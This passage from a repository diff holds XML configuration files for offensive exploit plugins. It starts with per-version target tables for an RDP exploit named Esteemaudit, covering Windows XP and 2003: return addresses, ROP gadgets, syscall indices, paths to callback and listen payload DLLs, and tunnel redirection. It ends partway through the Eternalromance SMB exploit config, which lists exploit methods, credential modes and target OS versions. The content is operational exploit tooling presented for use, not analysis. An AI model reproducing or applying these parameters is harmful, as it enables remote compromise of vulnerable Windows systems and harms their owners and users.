<parameter hidden='true' type='U32' name='secondStageAddress' description=''>
<default>0x0FE372B0</default>
</parameter>
<parameter hidden='true' type='U32' name='provContAddress' description=''>
<default>0x0FF94DB0</default>
</parameter>
<parameter hidden='true' type='U32' name='scardTransmitAddress' description=''>
<default>0x0FE21178</default>
</parameter>
<parameter hidden='true' type='U32' name='scardT0PciAddress' description=''>
<default>0x0FE211A8</default>
</parameter>
<parameter hidden='true' type='U32' name='KiServiceTable_NtAllocateVirtualMemory_Index' description='Index of NtAllocateVirtualMemory() in nt!KiServiceTable'>
<default>0x00000011</default>
</parameter>
<parameter hidden='true' type='U16' name='KiServiceTable_NtAllocateVirtualMemory_ArgSize' description='Size of stack arguments to NtAllocateVirtualMemory() in nt!KiServiceTable'>
<default>0x18</default>
</parameter>
<parameter hidden='true' type='U32' name='KiServiceTable_NtFreeVirtualMemory_Index' description='Index of NtFreeVirtualMemory() in nt!KiServiceTable'>
<default>0x00000053</default>
</parameter>
<parameter hidden='true' type='U16' name='KiServiceTable_NtFreeVirtualMemory_ArgSize' description='Size of stack arguments to NtFreeVirtualMemory() in nt!KiServiceTable'>
<default>0x10</default>
</parameter>
</paramgroup>
<paramgroup name='XPSP2|3' description='Windows XP SP2 or SP3'>
<parameter hidden='true' type='U32' name='GlobalBufAddr' description=''>
<default>0x0fe370b0</default>
</parameter>
<parameter hidden='true' type='U32' name='ret0c' description=''>
<default>0x0fe25158</default>
</parameter>
<parameter hidden='true' type='U32' name='ret10' description=''>
<default>0x0fe2ab2d</default>
</parameter>
<parameter hidden='true' type='U32' name='ret04' description=''>
<default>0x0fe27243</default>
</parameter>
<parameter hidden='true' type='U32' name='ret08' description=''>
<default>0</default>
</parameter>
<parameter hidden='true' type='U32' name='ret20' description=''>
<default>0x0fe27243</default>
</parameter>
<parameter hidden='true' type='U32' name='ret28' description=''>
<default>0</default>
</parameter>
<parameter hidden='true' type='U32' name='ret40' description=''>
<default>0x0fe266b8</default>
</parameter>
<parameter hidden='true' type='U32' name='ret44' description=''>
<default>0x00004000</default>
</parameter>
<parameter hidden='true' type='U32' name='sysenterIndex' description=''>
<default>0x00000089</default>
</parameter>
<parameter hidden='true' type='U32' name='jmpEbx' description=''>
<default>0x0fe3342a</default>
</parameter>
<parameter hidden='true' type='U32' name='sizeOffest' description=''>
<default>0x44</default>
</parameter>
<parameter hidden='true' type='U32' name='secondStageAddress' description=''>
<default>0x0FE372B0</default>
</parameter>
<parameter hidden='true' type='U32' name='provContAddress' description=''>
<default>0x0FF94DB0</default>
</parameter>
<parameter hidden='true' type='U32' name='scardTransmitAddress' description=''>
<default>0x0FE21178</default>
</parameter>
<parameter hidden='true' type='U32' name='scardT0PciAddress' description=''>
<default>0x0FE211A8</default>
</parameter>
<parameter hidden='true' type='U32' name='KiServiceTable_NtAllocateVirtualMemory_Index' description='Index of NtAllocateVirtualMemory() in nt!KiServiceTable'>
<default>0x00000011</default>
</parameter>
<parameter hidden='true' type='U16' name='KiServiceTable_NtAllocateVirtualMemory_ArgSize' description='Size of stack arguments to NtAllocateVirtualMemory() in nt!KiServiceTable'>
<default>0x18</default>
</parameter>
<parameter hidden='true' type='U32' name='KiServiceTable_NtFreeVirtualMemory_Index' description='Index of NtFreeVirtualMemory() in nt!KiServiceTable'>
<default>0x00000053</default>
</parameter>
<parameter hidden='true' type='U16' name='KiServiceTable_NtFreeVirtualMemory_ArgSize' description='Size of stack arguments to NtFreeVirtualMemory() in nt!KiServiceTable'>
<default>0x10</default>
</parameter>
</paramgroup>
<paramgroup name='W2K3SP0' description='Windows 2003 SP0'>
<parameter hidden='true' type='U32' name='GlobalBufAddr' description=''>
<default>0x0fe380f8</default>
</parameter>
<parameter hidden='true' type='U32' name='ret0c' description=''>
<default>0x0fe38168</default>
</parameter>
<parameter hidden='true' type='U32' name='ret10' description=''>
<default>0</default>
</parameter>
<parameter hidden='true' type='U32' name='ret04' description=''>
<default>0</default>
</parameter>
<parameter hidden='true' type='U32' name='ret08' description=''>
<default>0</default>
</parameter>
<parameter hidden='true' type='U32' name='ret20' description=''>
<default>0</default>
</parameter>
<parameter hidden='true' type='U32' name='ret28' description=''>
<default>0</default>
</parameter>
<parameter hidden='true' type='U32' name='ret40' description=''>
<default>0</default>
</parameter>
<parameter hidden='true' type='U32' name='ret44' description=''>
<default>0</default>
</parameter>
<parameter hidden='true' type='U32' name='sysenterIndex' description=''>
<default>0x0</default>
</parameter>
<parameter hidden='true' type='U32' name='jmpEbx' description=''>
<default>0x0</default>
</parameter>
<parameter hidden='true' type='U32' name='sizeOffest' description=''>
<default>0x0</default>
</parameter>
<parameter hidden='true' type='U32' name='secondStageAddress' description=''>
<default>0x0FE382F8</default>
</parameter>
<parameter hidden='true' type='U32' name='provContAddress' description=''>
<default>0x0FF95DF8</default>
</parameter>
<parameter hidden='true' type='U32' name='scardTransmitAddress' description=''>
<default>0x0FE211B4</default>
</parameter>
<parameter hidden='true' type='U32' name='scardT0PciAddress' description=''>
<default>0x0FE211A8</default>
</parameter>
<parameter hidden='true' type='U32' name='KiServiceTable_NtAllocateVirtualMemory_Index' description='Index of NtAllocateVirtualMemory() in nt!KiServiceTable'>
<default>0x00000012</default>
</parameter>
<parameter hidden='true' type='U16' name='KiServiceTable_NtAllocateVirtualMemory_ArgSize' description='Size of stack arguments to NtAllocateVirtualMemory() in nt!KiServiceTable'>
<default>0x18</default>
</parameter>
<parameter hidden='true' type='U32' name='KiServiceTable_NtFreeVirtualMemory_Index' description='Index of NtFreeVirtualMemory() in nt!KiServiceTable'>
<default>0x00000057</default>
</parameter>
<parameter hidden='true' type='U16' name='KiServiceTable_NtFreeVirtualMemory_ArgSize' description='Size of stack arguments to NtFreeVirtualMemory() in nt!KiServiceTable'>
<default>0x10</default>
</parameter>
</paramgroup>
<paramgroup name='W2K3SP1' description='Windows 2003 SP1'>
<parameter hidden='true' type='U32' name='GlobalBufAddr' description=''>
<default>0x080190D8</default>
</parameter>
<parameter hidden='true' type='U32' name='ret0c' description=''>
<default>0x08005e85</default>
</parameter>
<parameter hidden='true' type='U32' name='ret10' description=''>
<default>0x0800bedd</default>
</parameter>
<parameter hidden='true' type='U32' name='ret04' description=''>
<default>0x08011e7a</default>
</parameter>
<parameter hidden='true' type='U32' name='ret08' description=''>
<default>0x0801118e</default>
</parameter>
<parameter hidden='true' type='U32' name='ret20' description=''>
<default>0</default>
</parameter>
<parameter hidden='true' type='U32' name='ret28' description=''>
<default>0x08011fef</default>
</parameter>
<parameter hidden='true' type='U32' name='ret40' description=''>
<default>0x00004000</default>
</parameter>
<parameter hidden='true' type='U32' name='ret44' description=''>
<default>0x080128cc</default>
</parameter>
<parameter hidden='true' type='U32' name='sysenterIndex' description=''>
<default>0x0000008f</default>
</parameter>
<parameter hidden='true' type='U32' name='jmpEbx' description=''>
<default>0x08015074</default>
</parameter>
<parameter hidden='true' type='U32' name='sizeOffest' description=''>
<default>0x40</default>
</parameter>
<parameter hidden='true' type='U32' name='secondStageAddress' description=''>
<default>0x080192D8</default>
</parameter>
<parameter hidden='true' type='U32' name='provContAddress' description=''>
<default>0x08176DD8</default>
</parameter>
<parameter hidden='true' type='U32' name='scardTransmitAddress' description=''>
<default>0x0800119C</default>
</parameter>
<parameter hidden='true' type='U32' name='scardT0PciAddress' description=''>
<default>0x080011CC</default>
</parameter>
<parameter hidden='true' type='U32' name='KiServiceTable_NtAllocateVirtualMemory_Index' description='Index of NtAllocateVirtualMemory() in nt!KiServiceTable'>
<default>0x00000012</default>
</parameter>
<parameter hidden='true' type='U16' name='KiServiceTable_NtAllocateVirtualMemory_ArgSize' description='Size of stack arguments to NtAllocateVirtualMemory() in nt!KiServiceTable'>
<default>0x18</default>
</parameter>
<parameter hidden='true' type='U32' name='KiServiceTable_NtFreeVirtualMemory_Index' description='Index of NtFreeVirtualMemory() in nt!KiServiceTable'>
<default>0x00000057</default>
</parameter>
<parameter hidden='true' type='U16' name='KiServiceTable_NtFreeVirtualMemory_ArgSize' description='Size of stack arguments to NtFreeVirtualMemory() in nt!KiServiceTable'>
<default>0x10</default>
</parameter>
</paramgroup>
<paramgroup name='W2K3SP2' description='Windows 2003 SP2'>
<parameter hidden='true' type='U32' name='GlobalBufAddr' description=''>
<default>0x080190D8</default>
</parameter>
<parameter hidden='true' type='U32' name='ret0c' description=''>
<default>0x08005e85</default>
</parameter>
<parameter hidden='true' type='U32' name='ret10' description=''>
<default>0x0800bedd</default>
</parameter>
<parameter hidden='true' type='U32' name='ret04' description=''>
<default>0x08011e7a</default>
</parameter>
<parameter hidden='true' type='U32' name='ret08' description=''>
<default>0x0801118e</default>
</parameter>
<parameter hidden='true' type='U32' name='ret20' description=''>
<default>0</default>
</parameter>
<parameter hidden='true' type='U32' name='ret28' description=''>
<default>0x08011fef</default>
</parameter>
<parameter hidden='true' type='U32' name='ret40' description=''>
<default>0x00004000</default>
</parameter>
<parameter hidden='true' type='U32' name='ret44' description=''>
<default>0x080128cc</default>
</parameter>
<parameter hidden='true' type='U32' name='sysenterIndex' description=''>
<default>0x0000008f</default>
</parameter>
<parameter hidden='true' type='U32' name='jmpEbx' description=''>
<default>0x08015074</default>
</parameter>
<parameter hidden='true' type='U32' name='sizeOffest' description=''>
<default>0x40</default>
</parameter>
<parameter hidden='true' type='U32' name='secondStageAddress' description=''>
<default>0x080192D8</default>
</parameter>
<parameter hidden='true' type='U32' name='provContAddress' description=''>
<default>0x08176DD8</default>
</parameter>
<parameter hidden='true' type='U32' name='scardTransmitAddress' description=''>
<default>0x0800119C</default>
</parameter>
<parameter hidden='true' type='U32' name='scardT0PciAddress' description=''>
<default>0x080011CC</default>
</parameter>
<parameter hidden='true' type='U32' name='KiServiceTable_NtAllocateVirtualMemory_Index' description='Index of NtAllocateVirtualMemory() in nt!KiServiceTable'>
<default>0x00000012</default>
</parameter>
<parameter hidden='true' type='U16' name='KiServiceTable_NtAllocateVirtualMemory_ArgSize' description='Size of stack arguments to NtAllocateVirtualMemory() in nt!KiServiceTable'>
<default>0x18</default>
</parameter>
<parameter hidden='true' type='U32' name='KiServiceTable_NtFreeVirtualMemory_Index' description='Index of NtFreeVirtualMemory() in nt!KiServiceTable'>
<default>0x00000057</default>
</parameter>
<parameter hidden='true' type='U16' name='KiServiceTable_NtFreeVirtualMemory_ArgSize' description='Size of stack arguments to NtFreeVirtualMemory() in nt!KiServiceTable'>
<default>0x10</default>
</parameter>
</paramgroup>
<paramgroup name='W2K3SP1|2' description='Windows 2003 SP1 or SP2'>
<parameter hidden='true' type='U32' name='GlobalBufAddr' description=''>
<default>0x080190D8</default>
</parameter>
<parameter hidden='true' type='U32' name='ret0c' description=''>
<default>0x08005e85</default>
</parameter>
<parameter hidden='true' type='U32' name='ret10' description=''>
<default>0x0800bedd</default>
</parameter>
<parameter hidden='true' type='U32' name='ret04' description=''>
<default>0x08011e7a</default>
</parameter>
<parameter hidden='true' type='U32' name='ret08' description=''>
<default>0x0801118e</default>
</parameter>
<parameter hidden='true' type='U32' name='ret20' description=''>
<default>0</default>
</parameter>
<parameter hidden='true' type='U32' name='ret28' description=''>
<default>0x08011fef</default>
</parameter>
<parameter hidden='true' type='U32' name='ret40' description=''>
<default>0x00004000</default>
</parameter>
<parameter hidden='true' type='U32' name='ret44' description=''>
<default>0x080128cc</default>
</parameter>
<parameter hidden='true' type='U32' name='sysenterIndex' description=''>
<default>0x0000008f</default>
</parameter>
<parameter hidden='true' type='U32' name='jmpEbx' description=''>
<default>0x08015074</default>
</parameter>
<parameter hidden='true' type='U32' name='sizeOffest' description=''>
<default>0x40</default>
</parameter>
<parameter hidden='true' type='U32' name='secondStageAddress' description=''>
<default>0x080192D8</default>
</parameter>
<parameter hidden='true' type='U32' name='provContAddress' description=''>
<default>0x08176DD8</default>
</parameter>
<parameter hidden='true' type='U32' name='scardTransmitAddress' description=''>
<default>0x0800119C</default>
</parameter>
<parameter hidden='true' type='U32' name='scardT0PciAddress' description=''>
<default>0x080011CC</default>
</parameter>
<parameter hidden='true' type='U32' name='KiServiceTable_NtAllocateVirtualMemory_Index' description='Index of NtAllocateVirtualMemory() in nt!KiServiceTable'>
<default>0x00000012</default>
</parameter>
<parameter hidden='true' type='U16' name='KiServiceTable_NtAllocateVirtualMemory_ArgSize' description='Size of stack arguments to NtAllocateVirtualMemory() in nt!KiServiceTable'>
<default>0x18</default>
</parameter>
<parameter hidden='true' type='U32' name='KiServiceTable_NtFreeVirtualMemory_Index' description='Index of NtFreeVirtualMemory() in nt!KiServiceTable'>
<default>0x00000057</default>
</parameter>
<parameter hidden='true' type='U16' name='KiServiceTable_NtFreeVirtualMemory_ArgSize' description='Size of stack arguments to NtFreeVirtualMemory() in nt!KiServiceTable'>
<default>0x10</default>
</parameter>
</paramgroup>
</paramchoice>
</paramgroup>
<paramgroup name='x86 64-bit' description='Target is running on an x86 64-bit processor'>
<parameter type='LocalFile' name='MigrateProcessDLL' description=' The DLL that will be used to inject into a remote process'>
<default>D:\DSZOPSDISK\storage\rudo_x64.dll</default>
</parameter>
<parameter type='LocalFile' name='CallbackPayloadDLL' description='The DLL that will be used as a callback payload'>
<default>D:\DSZOPSDISK\storage\capa_x64.dll</default>
</parameter>
<parameter type='LocalFile' name='ListenPayloadDLL' description='The DLL that will be used as a listen payload'>
<default>D:\DSZOPSDISK\storage\lipa_x64.dll</default>
</parameter>
<paramchoice name='Target' description='Suspected OS and language pack'>
<default>Other|64</default>
<paramgroup name='Eng|Jpn|64' description='English/Japanese 64-bit XP/2003'>
<parameter hidden='true' type='U32' name='GlobalBufAddr' description=''>
<default>0x0FDC9870</default>
</parameter>
<parameter hidden='true' type='U32' name='ret0c' description=''>
<default>0x0FDBE483</default>
</parameter>
<parameter hidden='true' type='U32' name='ret10' description=''>
<default>0x0FDC28CC</default>
</parameter>
<parameter hidden='true' type='U32' name='ret04' description=''>
<default>0x0FDB0EDC</default>
</parameter>
<parameter hidden='true' type='U32' name='ret08' description=''>
<default>0x0FDC2BE7</default>
</parameter>
<parameter hidden='true' type='U32' name='ret20' description=''>
<default>0x0FDBC9C9</default>
</parameter>
<parameter hidden='true' type='U32' name='ret28' description=''>
<default>0x0fdbbe19</default>
</parameter>
<parameter hidden='true' type='U32' name='ret40' description=''>
<default>0x00004000</default>
</parameter>
<parameter hidden='true' type='U32' name='ret44' description=''>
<default>0x0fdbd72d</default>
</parameter>
<parameter hidden='true' type='U32' name='sysenterIndex' description=''>
<default>0x0FF5E2B0</default>
</parameter>
<parameter hidden='true' type='U32' name='jmpEbx' description=''>
<default>0x0fda43fa</default>
</parameter>
<parameter hidden='true' type='U32' name='sizeOffest' description=''>
<default>0x0fdb9c6d</default>
</parameter>
<parameter hidden='true' type='U32' name='secondStageAddress' description=''>
<default>0x0FDC9A70</default>
</parameter>
<parameter hidden='true' type='U32' name='provContAddress' description=''>
<default>0x0FF5D170</default>
</parameter>
<parameter hidden='true' type='U32' name='scardTransmitAddress' description=''>
<default>0x0FDA1388</default>
</parameter>
<parameter hidden='true' type='U32' name='scardT0PciAddress' description=''>
<default>0x0FDA1370</default>
</parameter>
</paramgroup>
<paramgroup name='Other|64' description="Other languages' 64-bit XP/2003">
<parameter hidden='true' type='U32' name='GlobalBufAddr' description=''>
<default>0x0FDA9870</default>
</parameter>
<parameter hidden='true' type='U32' name='ret0c' description=''>
<default>0x0FD9E483</default>
</parameter>
<parameter hidden='true' type='U32' name='ret10' description=''>
<default>0x0FDA28CC</default>
</parameter>
<parameter hidden='true' type='U32' name='ret04' description=''>
<default>0x0FD90EDC</default>
</parameter>
<parameter hidden='true' type='U32' name='ret08' description=''>
<default>0x0FDA2BE7</default>
</parameter>
<parameter hidden='true' type='U32' name='ret20' description=''>
<default>0x0FD9C9C9</default>
</parameter>
<parameter hidden='true' type='U32' name='ret28' description=''>
<default>0x0fd9be19</default>
</parameter>
<parameter hidden='true' type='U32' name='ret40' description=''>
<default>0x00004000</default>
</parameter>
<parameter hidden='true' type='U32' name='ret44' description=''>
<default>0x0fd9d72d</default>
</parameter>
<parameter hidden='true' type='U32' name='sysenterIndex' description=''>
<default>0x0FF3E2B0</default>
</parameter>
<parameter hidden='true' type='U32' name='jmpEbx' description=''>
<default>0x0fd843fa</default>
</parameter>
<parameter hidden='true' type='U32' name='sizeOffest' description=''>
<default>0x0fd99c6d</default>
</parameter>
<parameter hidden='true' type='U32' name='secondStageAddress' description=''>
<default>0x0FDA9A70</default>
</parameter>
<parameter hidden='true' type='U32' name='provContAddress' description=''>
<default>0x0FF3D170</default>
</parameter>
<parameter hidden='true' type='U32' name='scardTransmitAddress' description=''>
<default>0x0FD81388</default>
</parameter>
<parameter hidden='true' type='U32' name='scardT0PciAddress' description=''>
<default>0x0FD81370</default>
</parameter>
</paramgroup>
</paramchoice>
</paramgroup>
</paramchoice>
</inputparameters>
<outputparameters>
<paramchoice name='Contract' description='The contract fulfilled by this plugin'>
<value>StagedUpload</value>
<paramgroup name='StagedUpload' description=''>
<parameter type='Socket' name='ConnectedTcp' description='The connected socket'/>
<parameter type='U8' name='XorMask' description='Masking byte'/>
</paramgroup>
</paramchoice>
</outputparameters>
<redirection>
<local protocol='TCP' name='Launch Tunnel' listenport='TargetPort' listenaddr='TargetIp' closeoncompletion='true' destaddr='TargetIp' destport='TargetPort'/>
<local protocol='TCP' name='Callin Tunnel' listenport='CallinPort' listenaddr='TargetIp' closeoncompletion='false' destaddr='TargetIp' destport='ListenPort'/>
<remote listenport='CallbackPort' protocol='TCP' name='Callback Tunnel' listenaddr='CallbackIp' destport='CallbackLocalPort'/>
</redirection>
<logic>
<and>
<service name='rdp'>
<bindtopath path="//service[name='rdp']/port" name='TargetPort'/>
</service>
<or>
<os servicepack='0' name='Windows XP' family='windows' architecture='x86 32-bit'>
<bindtovalue name='Target' value='XPSP0'/>
</os>
<os servicepack='1' name='Windows XP' family='windows' architecture='x86 32-bit'>
<bindtovalue name='Target' value='XPSP1'/>
</os>
<os servicepack='1' name='Windows XP' family='windows' architecture='x86 32-bit'>
<bindtovalue name='Target' value='XPSP0|1'/>
</os>
<os servicepack='2' name='Windows XP' family='windows' architecture='x86 32-bit'>
<bindtovalue name='Target' value='XPSP2'/>
</os>
<os servicepack='3' name='Windows XP' family='windows' architecture='x86 32-bit'>
<bindtovalue name='Target' value='XPSP3'/>
</os>
<os servicepack='3' name='Windows XP' family='windows' architecture='x86 32-bit'>
<bindtovalue name='Target' value='XPSP2|3'/>
</os>
<os servicepack='0' name='Windows 2003' family='windows' architecture='x86 32-bit'>
<bindtovalue name='Target' value='W2K3SP0'/>
</os>
<os servicepack='1' name='Windows 2003' family='windows' architecture='x86 32-bit'>
<bindtovalue name='Target' value='W2K3SP1'/>
</os>
<os servicepack='2' name='Windows 2003' family='windows' architecture='x86 32-bit'>
<bindtovalue name='Target' value='W2K3SP2'/>
</os>
<os servicepack='0' name='Windows XP' family='windows' architecture='x86 64-bit'>
<bindtovalue name='Target' value='XP|2K3|64'/>
</os>
<os servicepack='1' name='Windows XP' family='windows' architecture='x86 64-bit'>
<bindtovalue name='Target' value='XP|2K3|64'/>
</os>
<os servicepack='2' name='Windows XP' family='windows' architecture='x86 64-bit'>
<bindtovalue name='Target' value='XP|2K3|64'/>
</os>
<os servicepack='3' name='Windows XP' family='windows' architecture='x86 64-bit'>
<bindtovalue name='Target' value='XP|2K3|64'/>
</os>
<os servicepack='0' name='Windows 2003' family='windows' architecture='x86 64-bit'>
<bindtovalue name='Target' value='XP|2K3|64'/>
</os>
<os servicepack='1' name='Windows 2003' family='windows' architecture='x86 64-bit'>
<bindtovalue name='Target' value='XP|2K3|64'/>
</os>
<os servicepack='2' name='Windows 2003' family='windows' architecture='x86 64-bit'>
<bindtovalue name='Target' value='XP|2K3|64'/>
</os>
</or>
<bindtopath path='//identifier' name='TargetIp'/>
<bindtovalue name='Payload' value='Callback'/>
</and>
</logic>
</config>

Binary file not shown.

View file

@ -0,0 +1,22 @@
<?xml version="1.0"?>
<t:config id="2a7d82545aa7bdf8b44ee403dbebf2b360f55b3a"
name="Esteemaudit"
version="2.1.0"
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'
xmlns:t='tc0'>
<t:touchlist>
<t:plugin name="Esteemaudittouch"
displayname="ESAU Vulnerability Touch"
description="Check if Target is vulnerable to ESAU"
postmessage="ESAU requires vulnerable target">
<t:ivparam name="TargetPort" value="TargetPort"/>
<t:ivparam name="TargetIp" value="TargetIp"/>
<t:ivparam name="NetworkTimeout" value="NetworkTimeout"/>
<t:ivparam name="PacketTimeout" value="PacketTimeout"/>
<t:oparam name="Architecture" value="Architecture"/>
<t:oparam name="Target" value="Target"/>
<t:oparam name="RdpLibHertz" value="RdpLibHertz"/>
</t:plugin>
</t:touchlist>
</t:config>

View file

@ -0,0 +1,455 @@
<?xml version="1.0" encoding="UTF-8"?>
<config xmlns="urn:trch"
id="7fca44399ae06e52cb50bfdf9ce6bd0f2ed5d28b"
name="Eternalromance"
version="1.3.0"
configversion="1.3.0.0"
schemaversion="2.0.0">
<inputparameters>
<!-- All plugins that perform blocking network calls must have a NetworkTimeout
parameter or its equivalent -->
<parameter name="NetworkTimeout"
description="Timeout for blocking network calls (in seconds). Use -1 for no timeout."
type="S16">
<default>60</default>
</parameter>
<parameter name="TargetIp"
description="Target IP Address"
type="IPv4"/>
<parameter name="TargetPort" description="Target TCP port" type="TcpPort">
<default>445</default>
</parameter>
<parameter name="MaxExploitAttempts"
description="Number of tries to exploit. Default 3"
type="U32"
hidden="true">
<default>3</default>
</parameter>
<parameter name="PipeName"
description="The named pipe to use"
type="String">
</parameter>
<paramchoice name="ExploitMethod" description="Which exploit method to use">
<default>Default</default>
<paramgroup name="Default" description="Use the best exploit method(s) for the target OS">
<parameter name="ExploitMethodChoice" type="U32" hidden="true" description="">
<default>0</default>
</parameter>
</paramgroup>
<paramgroup name="Fish-in-a-barrel" description="Most reliable exploit method (XP/2k3 only)">
<parameter name="ExploitMethodChoice" type="U32" hidden="true" description="">
<default>1</default>
</parameter>
</paramgroup>
<paramgroup name="Matched-pairs" description="Next reliable exploit method (XP/Win7/2k8R2 only)">
<parameter name="ExploitMethodChoice" type="U32" hidden="true" description="">
<default>2</default>
</parameter>
</paramgroup>
<paramgroup name="Classic-Romance" description="Original LargePageGroom exploit method (All OS Versions)">
<parameter name="ExploitMethodChoice" type="U32" hidden="true" description="">
<default>3</default>
</parameter>
</paramgroup>
</paramchoice>
<paramchoice name="Credentials" description="Type of credentials to use">
<default>Anonymous</default>
<paramgroup name="Anonymous" description="Anonymous (NULL session)">
<parameter name="CredChoice" type="U32" hidden="true" description="">
<default>0</default>
</parameter>
<parameter name="Username" type="Buffer" hidden="true" description="">
<default></default>
</parameter>
<parameter name="Password" type="Buffer" hidden="true" description="">
<default></default>
</parameter>
</paramgroup>
<paramgroup name="Guest" description="Guest account">
<parameter name="CredChoice" type="U32" hidden="true" description="">
<default>1</default>
</parameter>
<parameter name="Password" type="Buffer" hidden="true" description="">
<default></default>
</parameter>
</paramgroup>
<paramgroup name="Blank" description="User account with no password set">
<parameter name="CredChoice" type="U32" hidden="true" description="">
<default>2</default>
</parameter>
<parameter name="Username" type="Buffer" description="Username entered as hex bytes (in unicode)"/>
<parameter name="Password" type="Buffer" hidden="true" description="">
<default></default>
</parameter>
</paramgroup>
<paramgroup name="Password" description="User name and password">
<parameter name="CredChoice" type="U32" hidden="true" description="">
<default>3</default>
</parameter>
<parameter name="Username" type="Buffer" description="Username entered as hex bytes (in unicode)"/>
<parameter name="Password" type="Buffer" description="Password entered as hex bytes (in unicode)"/>
</paramgroup>
<paramgroup name="NTLM" description="User name and NTLM hash">
<parameter name="CredChoice" type="U32" hidden="true" description="">
<default>4</default>
</parameter>
<parameter name="Username" type="Buffer" description="Username entered as hex bytes (in unicode)"/>
<parameter name="NtlmHash" type="Buffer" description="NTLM password hash (in hex)"/>
</paramgroup>
</paramchoice>
<paramchoice name="Protocol" description="SMB (default port 445) or NBT (default port 139)">
<default>SMB</default>
<paramgroup name="SMB" description="">
<parameter name="UsingNbt" description="Boolean stating to use Nbt or not" type="Boolean" hidden="true">
<default>0</default>
</parameter>
</paramgroup>
<paramgroup name="NBT" description="">
<parameter name="UsingNbt" description="Boolean stating to use Nbt or not" type="Boolean" hidden="true">
<default>1</default>
</parameter>
</paramgroup>
</paramchoice>
<paramchoice name="Target" description="Operating System, Service Pack, of target OS">
<paramgroup name="XP_SP0SP1_X86" description="Windows XP Sp0 and Sp1, 32-bit">
<parameter name="OsMajor" hidden="true" type="U8" description="OS Major Version" >
<default>5</default>
</parameter>
<parameter name="OsMinor" hidden="true" type="U8" description="OS Minor Version" >
<default>1</default>
</parameter>
<parameter name="OsServicePack" hidden="true" type="U8" description="OS Service Pack Level" >
<default>0</default>
</parameter>
</paramgroup>
<paramgroup name="XP_SP2SP3_X86" description="Windows XP Sp2 and Sp3, 32-bit">
<parameter name="OsMajor" hidden="true" type="U8" description="OS Major Version" >
<default>5</default>
</parameter>
<parameter name="OsMinor" hidden="true" type="U8" description="OS Minor Version" >
<default>1</default>
</parameter>
<parameter name="OsServicePack" hidden="true" type="U8" description="OS Service Pack Level" >
<default>2</default>
</parameter>
</paramgroup>
<paramgroup name="XP_SP1_X64" description="Windows XP Sp1, 64-bit">
<parameter name="OsMajor" hidden="true" type="U8" description="OS Major Version" >
<default>5</default>
</parameter>
<parameter name="OsMinor" hidden="true" type="U8" description="OS Minor Version" >
<default>2</default>
</parameter>
<parameter name="OsServicePack" hidden="true" type="U8" description="OS Service Pack Level" >
<default>1</default>
</parameter>
</paramgroup>
<paramgroup name="XP_SP2_X64" description="Windows XP Sp2, 64-bit">
<parameter name="OsMajor" hidden="true" type="U8" description="OS Major Version" >
<default>5</default>
</parameter>
<parameter name="OsMinor" hidden="true" type="U8" description="OS Minor Version" >
<default>2</default>
</parameter>
<parameter name="OsServicePack" hidden="true" type="U8" description="OS Service Pack Level" >
<default>2</default>
</parameter>
</paramgroup>
<paramgroup name="SERVER_2003_SP0" description="Windows Sever 2003 Sp0, 32-bit">
<parameter name="OsMajor" hidden="true" type="U8" description="OS Major Version" >
<default>5</default>
</parameter>
<parameter name="OsMinor" hidden="true" type="U8" description="OS Minor Version" >
<default>2</default>
</parameter>
<parameter name="OsServicePack" hidden="true" type="U8" description="OS Service Pack Level" >
<default>0</default>
</parameter>
</paramgroup>
<paramgroup name="SERVER_2003_SP1" description="Windows Sever 2003 Sp1, 32-bit/64-bit">
<parameter name="OsMajor" hidden="true" type="U8" description="OS Major Version" >
<default>5</default>
</parameter>
<parameter name="OsMinor" hidden="true" type="U8" description="OS Minor Version" >
<default>2</default>
</parameter>
<parameter name="OsServicePack" hidden="true" type="U8" description="OS Service Pack Level" >
<default>1</default>
</parameter>
</paramgroup>
<paramgroup name="SERVER_2003_SP2" description="Windows Sever 2003 Sp2, 32-bit/64-bit">
<parameter name="OsMajor" hidden="true" type="U8" description="OS Major Version" >
<default>5</default>
</parameter>
<parameter name="OsMinor" hidden="true" type="U8" description="OS Minor Version" >
<default>2</default>
</parameter>
<parameter name="OsServicePack" hidden="true" type="U8" description="OS Service Pack Level" >
<default>2</default>
</parameter>
</paramgroup>
<paramgroup name="VISTA_SP0" description="Windows Vista Sp0, 32-bit/64-bit">
<parameter name="OsMajor" hidden="true" type="U8" description="OS Major Version" >
<default>6</default>
</parameter>
<parameter name="OsMinor" hidden="true" type="U8" description="OS Minor Version" >
<default>0</default>
</parameter>
<parameter name="OsServicePack" hidden="true" type="U8" description="OS Service Pack Level" >
<default>0</default>
</parameter>
</paramgroup>
<paramgroup name="VISTA_SP1" description="Windows Vista Sp1, 32-bit/64-bit">
<parameter name="OsMajor" hidden="true" type="U8" description="OS Major Version" >
<default>6</default>
</parameter>
<parameter name="OsMinor" hidden="true" type="U8" description="OS Minor Version" >
<default>0</default>
</parameter>
<parameter name="OsServicePack" hidden="true" type="U8" description="OS Service Pack Level" >
<default>1</default>
</parameter>
</paramgroup>
<paramgroup name="VISTA_SP2" description="Windows Vista Sp2, 32-bit/64-bit">
<parameter name="OsMajor" hidden="true" type="U8" description="OS Major Version" >
<default>6</default>
</parameter>
<parameter name="OsMinor" hidden="true" type="U8" description="OS Minor Version" >
<default>0</default>
</parameter>
<parameter name="OsServicePack" hidden="true" type="U8" description="OS Service Pack Level" >
<default>2</default>
</parameter>
</paramgroup>
<paramgroup name="SERVER_2008_SP0" description="Windows Server 2008 Sp0, 32-bit/64-bit">
<parameter name="OsMajor" hidden="true" type="U8" description="OS Major Version" >
<default>6</default>
</parameter>
<parameter name="OsMinor" hidden="true" type="U8" description="OS Minor Version" >
<default>0</default>
</parameter>
<parameter name="OsServicePack" hidden="true" type="U8" description="OS Service Pack Level" >
<default>0</default>
</parameter>
</paramgroup>
<paramgroup name="SERVER_2008_SP1" description="Windows Server 2008 Sp1, 32-bit/64-bit">
<parameter name="OsMajor" hidden="true" type="U8" description="OS Major Version" >
<default>6</default>
</parameter>
<parameter name="OsMinor" hidden="true" type="U8" description="OS Minor Version" >
<default>0</default>
</parameter>
<parameter name="OsServicePack" hidden="true" type="U8" description="OS Service Pack Level" >
<default>1</default>
</parameter>
</paramgroup>
<paramgroup name="SERVER_2008_SP2" description="Windows Server 2008 Sp2, 32-bit/64-bit">
<parameter name="OsMajor" hidden="true" type="U8" description="OS Major Version" >
<default>6</default>
</parameter>
<parameter name="OsMinor" hidden="true" type="U8" description="OS Minor Version" >
<default>0</default>
</parameter>
<parameter name="OsServicePack" hidden="true" type="U8" description="OS Service Pack Level" >
<default>2</default>
</parameter>
</paramgroup>
<paramgroup name="WIN7_SP0" description="Windows 7 Sp0, 32-bit/64-bit">
